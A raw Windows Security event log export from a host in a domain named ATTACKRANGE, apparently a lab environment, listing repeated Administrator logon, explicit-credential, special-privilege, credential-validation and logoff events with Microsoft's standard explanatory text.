Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2C293 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245827 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245826 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245825 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2BEAD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245824 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2BEAD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245823 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245822 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245866 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x34066 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245865 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x34066 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245864 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245863 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245881 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39819 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245880 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2EA0B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245879 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2EE40 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245878 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39819 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245877 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39819 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245876 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245875 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245874 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x397DD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245873 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x397DD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245872 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x397DD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245871 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245870 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245869 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x34066 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245868 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x31538 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245867 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x2F0BB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245897 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3B004 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245896 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3B004 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245895 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245894 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39CFE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245892 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39CFE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245891 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245890 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245889 